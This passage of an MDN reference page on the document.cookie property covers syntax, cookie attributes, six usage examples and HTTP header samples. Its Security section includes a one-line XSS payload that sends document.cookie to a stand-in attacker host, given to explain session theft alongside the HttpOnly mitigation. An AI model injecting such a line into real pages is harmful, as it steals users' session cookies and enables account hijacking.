href=\"/en-US/docs/Web/API/Document/getElementsByClassName\"><code>getElementsByClassName()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getElementsByName\"><code>getElementsByName()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getElementsByTagName\"><code>getElementsByTagName()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getElementsByTagNameNS\"><code>getElementsByTagNameNS()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/getSelection\"><code>getSelection()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/hasFocus\"><code>hasFocus()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/hasStorageAccess\"><code>hasStorageAccess()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/hasUnpartitionedCookieAccess\"><code>hasUnpartitionedCookieAccess()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/importNode\"><code>importNode()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/mozSetImageElement\"><code>mozSetImageElement()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/open\"><code>open()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/prepend\"><code>prepend()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/queryCommandEnabled\"><code>queryCommandEnabled()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/queryCommandState\"><code>queryCommandState()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/queryCommandSupported\"><code>queryCommandSupported()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/querySelector\"><code>querySelector()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/querySelectorAll\"><code>querySelectorAll()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/releaseCapture\"><code>releaseCapture()</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/replaceChildren\"><code>replaceChildren()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/requestStorageAccess\"><code>requestStorageAccess()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/requestStorageAccessFor\"><code>requestStorageAccessFor()</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/startViewTransition\"><code>startViewTransition()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/write\"><code>write()</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/writeln\"><code>writeln()</code></a></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Events</summary><ol><li><a href=\"/en-US/docs/Web/API/Document/afterscriptexecute_event\"><code>afterscriptexecute</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/beforescriptexecute_event\"><code>beforescriptexecute</code></a><abbr class=\"icon icon-nonstandard\" title=\"Non-standard. Check cross-browser support before using.\">\n <span class=\"visually-hidden\">Non-standard</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/copy_event\"><code>copy</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/cut_event\"><code>cut</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/DOMContentLoaded_event\"><code>DOMContentLoaded</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fullscreenchange_event\"><code>fullscreenchange</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/fullscreenerror_event\"><code>fullscreenerror</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/paste_event\"><code>paste</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/pointerlockchange_event\"><code>pointerlockchange</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/pointerlockerror_event\"><code>pointerlockerror</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/prerenderingchange_event\"><code>prerenderingchange</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/readystatechange_event\"><code>readystatechange</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/scroll_event\"><code>scroll</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/scrollend_event\"><code>scrollend</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/scrollsnapchange_event\"><code>scrollsnapchange</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/scrollsnapchanging_event\"><code>scrollsnapchanging</code></a><abbr class=\"icon icon-experimental\" title=\"Experimental. Expect behavior to change in the future.\">\n <span class=\"visually-hidden\">Experimental</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/Document/securitypolicyviolation_event\"><code>securitypolicyviolation</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/selectionchange_event\"><code>selectionchange</code></a></li><li><a href=\"/en-US/docs/Web/API/Document/visibilitychange_event\"><code>visibilitychange</code></a></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Inheritance</summary><ol><li><a href=\"/en-US/docs/Web/API/Node\"><code>Node</code></a></li><li><a href=\"/en-US/docs/Web/API/EventTarget\"><code>EventTarget</code></a></li></ol></details></li><li class=\"toggle\"><details open=\"\"><summary>Related pages for DOM</summary><ol><li><a href=\"/en-US/docs/Web/API/AbortController\"><code>AbortController</code></a></li><li><a href=\"/en-US/docs/Web/API/AbortSignal\"><code>AbortSignal</code></a></li><li><a href=\"/en-US/docs/Web/API/AbstractRange\"><code>AbstractRange</code></a></li><li><a href=\"/en-US/docs/Web/API/Attr\"><code>Attr</code></a></li><li><a href=\"/en-US/docs/Web/API/CDATASection\"><code>CDATASection</code></a></li><li><a href=\"/en-US/docs/Web/API/CharacterData\"><code>CharacterData</code></a></li><li><a href=\"/en-US/docs/Web/API/Comment\"><code>Comment</code></a></li><li><a href=\"/en-US/docs/Web/API/CustomEvent\"><code>CustomEvent</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMError\"><code>DOMError</code></a><abbr class=\"icon icon-deprecated\" title=\"Deprecated. Not for use in new websites.\">\n <span class=\"visually-hidden\">Deprecated</span>\n</abbr></li><li><a href=\"/en-US/docs/Web/API/DOMException\"><code>DOMException</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMImplementation\"><code>DOMImplementation</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMParser\"><code>DOMParser</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMPoint\"><code>DOMPoint</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMPointReadOnly\"><code>DOMPointReadOnly</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMRect\"><code>DOMRect</code></a></li><li><a href=\"/en-US/docs/Web/API/DOMTokenList\"><code>DOMTokenList</code></a></li><li><a href=\"/en-US/docs/Web/API/DocumentFragment\"><code>DocumentFragment</code></a></li><li><a href=\"/en-US/docs/Web/API/DocumentType\"><code>DocumentType</code></a></li><li><a href=\"/en-US/docs/Web/API/Element\"><code>Element</code></a></li><li><a href=\"/en-US/docs/Web/API/Event\"><code>Event</code></a></li><li><a href=\"/en-US/docs/Web/API/EventTarget\"><code>EventTarget</code></a></li><li><a href=\"/en-US/docs/Web/API/HTMLCollection\"><code>HTMLCollection</code></a></li><li><a href=\"/en-US/docs/Web/API/MutationObserver\"><code>MutationObserver</code></a></li><li><a href=\"/en-US/docs/Web/API/MutationRecord\"><code>MutationRecord</code></a></li><li><a href=\"/en-US/docs/Web/API/NamedNodeMap\"><code>NamedNodeMap</code></a></li><li><a href=\"/en-US/docs/Web/API/Node\"><code>Node</code></a></li><li><a href=\"/en-US/docs/Web/API/NodeIterator\"><code>NodeIterator</code></a></li><li><a href=\"/en-US/docs/Web/API/NodeList\"><code>NodeList</code></a></li><li><a href=\"/en-US/docs/Web/API/ProcessingInstruction\"><code>ProcessingInstruction</code></a></li><li><a href=\"/en-US/docs/Web/API/Range\"><code>Range</code></a></li><li><a href=\"/en-US/docs/Web/API/StaticRange\"><code>StaticRange</code></a></li><li><a href=\"/en-US/docs/Web/API/Text\"><code>Text</code></a></li><li><a href=\"/en-US/docs/Web/API/TextDecoder\"><code>TextDecoder</code></a></li><li><a href=\"/en-US/docs/Web/API/TextEncoder\"><code>TextEncoder</code></a></li><li><a href=\"/en-US/docs/Web/API/TimeRanges\"><code>TimeRanges</code></a></li><li><a href=\"/en-US/docs/Web/API/TreeWalker\"><code>TreeWalker</code></a></li><li><a href=\"/en-US/docs/Web/API/XMLDocument\"><code>XMLDocument</code></a></li></ol></details></li></ol>","sidebarMacro":"APIRef","body":[{"type":"prose","value":{"id":null,"title":null,"isH3":false,"content":"<p>\n The <a href=\"/en-US/docs/Web/API/Document\"><code>Document</code></a> property <code>cookie</code> lets you read and write <a href=\"/en-US/docs/Web/HTTP/Cookies\">cookies</a> associated with the document.\n It serves as a getter and setter for the actual values of the cookies.\n</p>"}},{"type":"prose","value":{"id":"syntax","title":"Syntax","isH3":false,"content":""}},{"type":"prose","value":{"id":"read_all_cookies_accessible_from_this_location","title":"Read all cookies accessible from this location","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>allCookies = document.cookie;\n</code></pre></div>\n<p>\n In the code above <code>allCookies</code> is a string containing a semicolon-separated list of all cookies (i.e. <code>key=value</code> pairs).\n Note that each <em>key</em> and <em>value</em> may be surrounded by whitespace (space and tab characters): in fact, <a href=\"https://datatracker.ietf.org/doc/html/rfc6265\" class=\"external\" target=\"_blank\">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.\n</p>"}},{"type":"prose","value":{"id":"write_a_new_cookie","title":"Write a new cookie","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>document.cookie = newCookie;\n</code></pre></div>\n<p>In the code above, <code>newCookie</code> is a string of form <code>key=value</code>, specifying the cookie to set/update. Note that you can only set/update a single cookie at a time using this method. Consider also that:</p>\n<ul>\n <li>\n <p>Any of the following cookie attribute values can optionally follow the key-value pair, each preceded by a semicolon separator:</p>\n <ul>\n <li>\n <p>\n <code>;domain=domain</code> (e.g., <code>example.com</code> or <code>subdomain.example.com</code>): The host to which the cookie will be sent.\n If not specified, this defaults to the host portion of the current document location and the cookie is not available on subdomains.\n If a domain is specified, subdomains are always included.\n Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots.\n </p>\n <div class=\"notecard note\">\n <p>\n <strong>Note:</strong> The domain <em>must</em> match the domain of the JavaScript origin.\n Setting cookies to foreign domains will be silently ignored.\n </p>\n </div>\n </li>\n <li>\n <p><code>;expires=date-in-UTCString-format</code>: The expiry date of the cookie. If neither <code>expires</code> nor <code>max-age</code> is specified, it will expire at the end of session.</p>\n <div class=\"notecard warning\">\n <p>\n <strong>Warning:</strong> When user privacy is a concern, it's important that any web app implementation invalidate cookie data after a certain timeout instead of relying on the browser to do it.\n Many browsers let users specify that cookies should never expire, which is not necessarily safe.\n </p>\n </div>\n <p>See <a href=\"/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString\"><code>Date.toUTCString()</code></a> for help formatting this value.</p>\n </li>\n <li>\n <p><code>;max-age=max-age-in-seconds</code>: The maximum age of the cookie in seconds (e.g., <code>60*60*24*365</code> or 31536000 for a year).</p>\n </li>\n <li>\n <p><code>;partitioned</code>: Indicates that the cookie should be stored using partitioned storage. See <a href=\"/en-US/docs/Web/Privacy/Privacy_sandbox/Partitioned_cookies\">Cookies Having Independent Partitioned State (CHIPS)</a> for more details.</p>\n </li>\n <li>\n <p><code>;path=path</code>: The value of the cookie's <code>Path</code> attribute (See <a href=\"/en-US/docs/Web/HTTP/Cookies#define_where_cookies_are_sent\">Define where cookies are sent</a> for more information).</p>\n </li>\n <li>\n <p><code>;samesite</code>: The <code>SameSite</code> attribute of a <a href=\"/en-US/docs/Web/HTTP/Headers/Set-Cookie\"><code>Set-Cookie</code></a> header can be set by a server to specify when the cookie will be sent. Possible values are <code>lax</code>, <code>strict</code> or <code>none</code> (see also <a href=\"/en-US/docs/Web/HTTP/Cookies#controlling_third-party_cookies_with_samesite\">Controlling third-party cookies with <code>SameSite</code></a>).</p>\n <ul>\n <li>\n The <code>lax</code> value will send the cookie for all same-site requests and top-level navigation GET requests.\n This is sufficient for user tracking, but it will prevent many <a href=\"/en-US/docs/Glossary/CSRF\">Cross-Site Request Forgery</a> (CSRF) attacks.\n This is the default value in modern browsers.\n </li>\n <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing contexts, even when following a regular link.</li>\n <li>\n The <code>none</code> value explicitly states no restrictions will be applied.\n The cookie will be sent in all requests—both cross-site and same-site.\n </li>\n </ul>\n </li>\n <li>\n <p><code>;secure</code>: Specifies that the cookie should only be transmitted over a secure protocol.</p>\n </li>\n </ul>\n </li>\n <li>\n <p>The cookie value string can use <a href=\"/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent\"><code>encodeURIComponent()</code></a> to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</p>\n </li>\n <li>\n <p>Some user agent implementations support the following cookie prefixes:</p>\n <ul>\n <li>\n <p><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</p>\n </li>\n <li>\n <p>\n <code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server.\n If the server omits the path attribute the \"directory\" of the request URI is used.\n It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains.\n For Chrome the path attribute must always be the origin.\n </p>\n </li>\n </ul>\n <div class=\"notecard note\">\n <p><strong>Note:</strong> The dash is considered part of the prefix.</p>\n </div>\n <div class=\"notecard note\">\n <p><strong>Note:</strong> These flags are only settable with the <code>secure</code> attribute.</p>\n </div>\n </li>\n</ul>\n<div class=\"notecard note\">\n <p><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href=\"/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description\">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <em>not</em> a <a href=\"/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#description\">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</p>\n</div>"}},{"type":"prose","value":{"id":"examples","title":"Examples","isH3":false,"content":""}},{"type":"prose","value":{"id":"example_1_simple_usage","title":"Example 1: Simple usage","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>// Note that we are setting `SameSite=None;` in this example because the example\n// needs to work cross-origin.\n// It is more common not to set the `SameSite` attribute, which results in the default,\n// and more secure, value of `SameSite=Lax;`\ndocument.cookie = \"name=Oeschger; SameSite=None; Secure\";\ndocument.cookie = \"favorite_food=tripe; SameSite=None; Secure\";\n\nfunction showCookies() {\n const output = document.getElementById(\"cookies\");\n output.textContent = `> ${document.cookie}`;\n}\n\nfunction clearOutputCookies() {\n const output = document.getElementById(\"cookies\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"showCookies()\">Show cookies</button>\n\n<button onclick=\"clearOutputCookies()\">Clear</button>\n\n<div>\n <code id=\"cookies\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 1 Simple usage sample\" id=\"frame_example_1_simple_usage\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_1_simple_usage\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"example_2_get_a_sample_cookie_named_test2","title":"Example 2: Get a sample cookie named test2","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>// Note that we are setting `SameSite=None;` in this example because the example\n// needs to work cross-origin.\n// It is more common not to set the `SameSite` attribute, which results in the default,\n// and more secure, value of `SameSite=Lax;`\ndocument.cookie = \"test1=Hello; SameSite=None; Secure\";\ndocument.cookie = \"test2=World; SameSite=None; Secure\";\n\nconst cookieValue = document.cookie\n .split(\"; \")\n .find((row) => row.startsWith(\"test2=\"))\n ?.split(\"=\")[1];\n\nfunction showCookieValue() {\n const output = document.getElementById(\"cookie-value\");\n output.textContent = `> ${cookieValue}`;\n}\n\nfunction clearOutputCookieValue() {\n const output = document.getElementById(\"cookie-value\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"showCookieValue()\">Show cookie value</button>\n\n<button onclick=\"clearOutputCookieValue()\">Clear</button>\n\n<div>\n <code id=\"cookie-value\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 2 Get a sample cookie named test2 sample\" id=\"frame_example_2_get_a_sample_cookie_named_test2\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_2_get_a_sample_cookie_named_test2\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"example_3_do_something_only_once","title":"Example 3: Do something only once","isH3":true,"content":"<p>\n In order to use the following code, please replace all occurrences of the word\n <code>doSomethingOnlyOnce</code> (the name of the cookie) with a custom name.\n</p>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>function doOnce() {\n if (\n !document.cookie\n .split(\"; \")\n .find((row) => row.startsWith(\"doSomethingOnlyOnce\"))\n ) {\n // Note that we are setting `SameSite=None;` in this example because the example\n // needs to work cross-origin.\n // It is more common not to set the `SameSite` attribute, which results in the default,\n // and more secure, value of `SameSite=Lax;`\n document.cookie =\n \"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure\";\n\n const output = document.getElementById(\"do-once\");\n output.textContent = \"> Do something here!\";\n }\n}\n\nfunction clearOutputDoOnce() {\n const output = document.getElementById(\"do-once\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"doOnce()\">Only do something once</button>\n\n<button onclick=\"clearOutputDoOnce()\">Clear</button>\n\n<div>\n <code id=\"do-once\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 3 Do something only once sample\" id=\"frame_example_3_do_something_only_once\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_3_do_something_only_once\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"example_4_reset_the_previous_cookie","title":"Example 4: Reset the previous cookie","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>function resetOnce() {\n // Note that we are setting `SameSite=None;` in this example because the example\n // needs to work cross-origin.\n // It is more common not to set the `SameSite` attribute, which results in the default,\n // and more secure, value of `SameSite=Lax;`\n document.cookie =\n \"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure\";\n\n const output = document.getElementById(\"reset-once\");\n output.textContent = \"> Reset!\";\n}\n\nfunction clearOutputResetOnce() {\n const output = document.getElementById(\"reset-once\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"resetOnce()\">Reset only once cookie</button>\n\n<button onclick=\"clearOutputResetOnce()\">Clear</button>\n\n<div>\n <code id=\"reset-once\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 4 Reset the previous cookie sample\" id=\"frame_example_4_reset_the_previous_cookie\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_4_reset_the_previous_cookie\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"example_5_check_a_cookie_existence","title":"Example 5: Check a cookie existence","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>// Note that we are setting `SameSite=None;` in this example because the example\n// needs to work cross-origin.\n// It is more common not to set the `SameSite` attribute, which results in the default,\n// and more secure, value of `SameSite=Lax;`\ndocument.cookie = \"reader=1; SameSite=None; Secure\";\n\nfunction checkACookieExists() {\n if (\n document.cookie.split(\";\").some((item) => item.trim().startsWith(\"reader=\"))\n ) {\n const output = document.getElementById(\"a-cookie-existence\");\n output.textContent = '> The cookie \"reader\" exists';\n }\n}\n\nfunction clearOutputACookieExists() {\n const output = document.getElementById(\"a-cookie-existence\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"checkACookieExists()\">Check a cookie exists</button>\n\n<button onclick=\"clearOutputACookieExists()\">Clear</button>\n\n<div>\n <code id=\"a-cookie-existence\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 5 Check a cookie existence sample\" id=\"frame_example_5_check_a_cookie_existence\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_5_check_a_cookie_existence\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"example_6_check_that_a_cookie_has_a_specific_value","title":"Example 6: Check that a cookie has a specific value","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>function checkCookieHasASpecificValue() {\n if (document.cookie.split(\";\").some((item) => item.includes(\"reader=1\"))) {\n const output = document.getElementById(\"a-specific-value-of-the-cookie\");\n output.textContent = '> The cookie \"reader\" has a value of \"1\"';\n }\n}\n\nfunction clearASpecificValueOfTheCookie() {\n const output = document.getElementById(\"a-specific-value-of-the-cookie\");\n output.textContent = \"\";\n}\n</code></pre></div>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">html</span></div><pre class=\"brush: html notranslate\"><code><button onclick=\"checkCookieHasASpecificValue()\">\n Check that a cookie has a specific value\n</button>\n\n<button onclick=\"clearASpecificValueOfTheCookie()\">Clear</button>\n\n<div>\n <code id=\"a-specific-value-of-the-cookie\"></code>\n</div>\n</code></pre></div><div class=\"code-example\"><div class=\"example-header\"></div><iframe class=\"sample-code-frame\" title=\"Example 6 Check that a cookie has a specific value sample\" id=\"frame_example_6_check_that_a_cookie_has_a_specific_value\" width=\"200\" height=\"72\" src=\"about:blank\" data-live-path=\"/en-US/docs/Web/API/Document/cookie\" data-live-id=\"example_6_check_that_a_cookie_has_a_specific_value\" sandbox=\"allow-same-origin allow-scripts\" loading=\"lazy\"></iframe></div>"}},{"type":"prose","value":{"id":"security","title":"Security","isH3":false,"content":"<p>\n It is important to note that the <code>path</code> attribute does <em>not</em> protect against unauthorized reading of the cookie from a different path.\n It can be easily bypassed using the DOM, for example by creating a hidden <a href=\"/en-US/docs/Web/HTML/Element/iframe\"><code><iframe></code></a> element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property.\n The only way to protect the cookie is by using a different domain or subdomain, due to the <a href=\"/en-US/docs/Web/Security/Same-origin_policy\">same origin policy</a>.\n</p>\n<p>\n Cookies are often used in web applications to identify a user and their authenticated session.\n Stealing a cookie from a web application leads to hijacking the authenticated user's session.\n Common ways to steal cookies include using <a href=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\" class=\"external\" target=\"_blank\">social engineering</a> or by exploiting a <a href=\"/en-US/docs/Glossary/Cross-site_scripting\">cross-site scripting</a> (XSS) vulnerability in the application -\n</p>\n<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">js</span></div><pre class=\"brush: js notranslate\"><code>new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;\n</code></pre></div>\n<p>\n The <code>HTTPOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript.\n Read more about <a href=\"https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/\" class=\"external\" target=\"_blank\">Cookies and Security</a>.\n</p>"}},{"type":"prose","value":{"id":"notes","title":"Notes","isH3":false,"content":"<ul>\n <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href=\"/en-US/docs/Web/API/Web_Storage_API\">WHATWG DOM Storage</a>.</li>\n <li>You can delete a cookie by updating its expiration time to zero.</li>\n <li>\n Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request.\n This will make each request slower.\n It is highly recommended for you to use <a href=\"/en-US/docs/Web/API/Web_Storage_API\">WHATWG DOM Storage</a> if you are going to keep \"client-only\" data.\n </li>\n <li>\n <a href=\"https://datatracker.ietf.org/doc/html/rfc2965\" class=\"external\" target=\"_blank\">RFC 2965</a> (Section 5.3, \"Implementation Limits\") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>.\n Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.\n </li>\n</ul>\n<p>The reason for the <a href=\"#syntax\">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href=\"/en-US/docs/Web/API/Web_Storage_API\">localStorage</a>):</p>"}},{"type":"prose","value":{"id":"the_server_tells_the_client_to_store_a_cookie","title":"The server tells the client to store a cookie","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">bash</span></div><pre class=\"brush: bash notranslate\"><code>HTTP/1.0 200 OK\nContent-type: text/html\nSet-Cookie: cookie_name1=cookie_value1\nSet-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT\n\n[content of the page here]\n</code></pre></div>"}},{"type":"prose","value":{"id":"the_client_sends_back_to_the_server_its_cookies_previously_stored","title":"The client sends back to the server its cookies previously stored","isH3":true,"content":"<div class=\"code-example\"><div class=\"example-header\"><span class=\"language-name\">bash</span></div><pre class=\"brush: bash notranslate\"><code>GET /sample_page.html HTTP/1.1\nHost: www.example.org\nCookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2\nAccept: */*\n</code></pre></div>"}},{"type":"specifications","value":{"title":"Specifications","id":"specifications","isH3":false,"specifications":[{"bcdSpecificationURL":"https://html.spec.whatwg.org/multipage/dom.html#dom-document-cookie","title":"HTML Standard"}],"query":"api.Document.cookie"}},{"type":"browser_compatibility","value":{"title":"Browser compatibility","id":"browser_compatibility","isH3":false,"query":"api.Document.cookie"}},{"type":"prose","value":{"id":"see_also","title":"See also","isH3":false,"content":"<ul>\n <li><a href=\"/en-US/docs/Web/HTTP/Cookies\">HTTP cookies</a></li>\n <li><a href=\"/en-US/docs/Web/API/Web_Storage_API\">DOM Storage</a></li>\n <li><a href=\"/en-US/docs/Web/API/URL/pathname\"><code>URL.pathname</code></a></li>\n <li><a href=\"/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toUTCString\"><code>Date.toUTCString()</code></a></li>\n <li><a href=\"https://datatracker.ietf.org/doc/html/rfc2965\" class=\"external\" target=\"_blank\">RFC 2965</a></li>\n</ul>"}}],"toc":[{"text":"Syntax","id":"syntax"},{"text":"Examples","id":"examples"},{"text":"Security","id":"security"},{"text":"Notes","id":"notes"},{"text":"Specifications","id":"specifications"},{"text":"Browser compatibility","id":"browser_compatibility"},{"text":"See also","id":"see_also"}],"summary":"The Document property cookie lets you read and write cookies associated with the document.\n It serves as a getter and setter for the actual values of the 